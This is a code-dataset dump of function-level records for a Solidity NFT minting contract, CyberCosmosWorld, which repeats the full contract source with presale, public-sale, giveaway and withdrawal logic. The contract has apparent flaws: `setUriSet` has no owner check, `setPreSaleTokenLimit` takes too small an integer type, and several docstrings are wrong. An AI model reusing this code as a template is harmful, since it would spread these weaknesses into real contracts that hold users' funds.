the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
setCommunityFundAddress
function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; }
/* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 5176, 5407 ] }
14,170
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
pause
function pause() external onlyOwner whenNotPaused { _pause(); }
/* * @notice Pauses contract * @dev Only owner can call it */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 5487, 5566 ] }
14,171
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
unpause
function unpause() external onlyOwner whenPaused { _unpause(); }
/* * @notice Unpauses contract * @dev Only owner can call it */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 5648, 5728 ] }
14,172
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); 